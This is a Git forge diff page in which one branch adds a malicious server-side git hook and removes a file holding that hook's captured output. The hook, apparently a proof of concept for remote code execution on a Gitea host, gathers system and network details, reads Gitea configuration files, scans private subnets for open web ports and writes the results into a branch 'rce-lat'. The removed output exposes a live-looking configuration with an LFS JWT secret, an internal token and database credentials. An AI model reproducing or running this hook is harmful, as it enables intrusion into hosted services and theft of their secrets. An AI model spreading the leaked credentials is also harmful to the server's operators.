Compare commits

...

No commits in common. "rce-lat" and "main" have entirely different histories.

3 changed files with 39 additions and 110 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# p4616-lat

37
hooks/post-index-change Executable file
View File

@ -0,0 +1,37 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
out=$(
echo "===id==="; id; hostname; uname -a
echo "===ip==="; ip -4 addr 2>/dev/null | head -40
echo "===hosts==="; cat /etc/hosts 2>/dev/null | head -40
echo "===arp==="; cat /proc/net/arp 2>/dev/null
echo "===ss==="; ss -lnt 2>/dev/null | head -40
echo "===conf===";
for f in /data/gitea/conf/app.ini /etc/gitea/app.ini /etc/gitea/conf/app.ini /app/gitea/conf/app.ini; do
[ -r "$f" ] && echo "FILE $f" && sed -n "1,80p" "$f"
done
echo "===scan===";
ips=$(ip -4 -o addr 2>/dev/null | awk '{print $4}' | cut -d/ -f1 | grep -E '^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)' )
arps=$(awk 'NR>1 && $1 ~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/ {print $1}' /proc/net/arp 2>/dev/null)
for ipx in $ips $arps; do
[ -n "$ipx" ] || continue
for p in 80 443 3000 8080 3306; do
if command -v curl >/dev/null 2>&1; then
hdr=$(curl -skm 2 -o /dev/null -w "%{http_code}" "http://$ipx:$p/" 2>/dev/null || true)
[ -n "$hdr" ] && [ "$hdr" != "000" ] && echo "HTTP $ipx:$p $hdr"
fi
done
done
)
output_blob=$(printf "%s\n" "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tlat\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "lat\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-lat "$commit" || exit 7
exit 0

110
lat
View File

@ -1,110 +0,0 @@
===id===
uid=1000(git) gid=1000(git) groups=1000(git)
6aa6d4b365b6
Linux 6aa6d4b365b6 7.0.0-1009-aws #9~24.04.1-Ubuntu SMP PREEMPT Mon Jul 13 22:43:41 UTC 2026 x86_64 Linux
===ip===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0@if21: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
===hosts===
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 6aa6d4b365b6
===arp===
IP address HW type Flags HW address Mask Device
172.18.0.1 0x1 0x2 a6:bf:64:81:95:0f * eth0
172.18.0.3 0x1 0x2 76:f8:5f:5d:cd:6d * eth0
===ss===
===conf===
FILE /etc/gitea/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_USER = git
RUN_MODE = prod
WORK_PATH = /var/lib/gitea
[repository]
ROOT = /var/lib/gitea/git/repositories
[repository.local]
LOCAL_COPY_PATH = /tmp/gitea/local-repo
[repository.upload]
TEMP_PATH = /tmp/gitea/uploads
[server]
APP_DATA_PATH = /var/lib/gitea
SSH_DOMAIN = git.alphaomegainfosys.com
HTTP_PORT = 3000
ROOT_URL = https://git.alphaomegainfosys.com/
DISABLE_SSH = false
; In rootless gitea container only internal ssh server is supported
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222
BUILTIN_SSH_SERVER_USER = git
LFS_START_SERVER = true
DOMAIN = git.alphaomegainfosys.com
LFS_JWT_SECRET = hhRGvL-599QPkfm6Mrg9BL0KSpanjfTMxjkuyvwefL0
OFFLINE_MODE = true
[database]
PATH = /var/lib/gitea/data/gitea.db
DB_TYPE = postgres
HOST = db:5432
NAME = gitea
USER = gitea
PASSWD = gitea
SCHEMA =
SSL_MODE = disable
LOG_SQL = false
[session]
PROVIDER_CONFIG = /var/lib/gitea/data/sessions
PROVIDER = file
[picture]
AVATAR_UPLOAD_PATH = /var/lib/gitea/data/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /var/lib/gitea/data/repo-avatars
[attachment]
PATH = /var/lib/gitea/data/attachments
[log]
ROOT_PATH = /var/lib/gitea/data/log
MODE = console
LEVEL = info
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDg3OTMzNjh9.fN3YSD56LcOpLj5D818HqWC56YwWJksB-c4yRHlGcLE
PASSWORD_HASH_ALGO = pbkdf2
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[lfs]
PATH = /var/lib/gitea/git/lfs
===scan===
HTTP 172.18.0.2:3000 200
HTTP 172.18.0.1:80 404
HTTP 172.18.0.1:443 400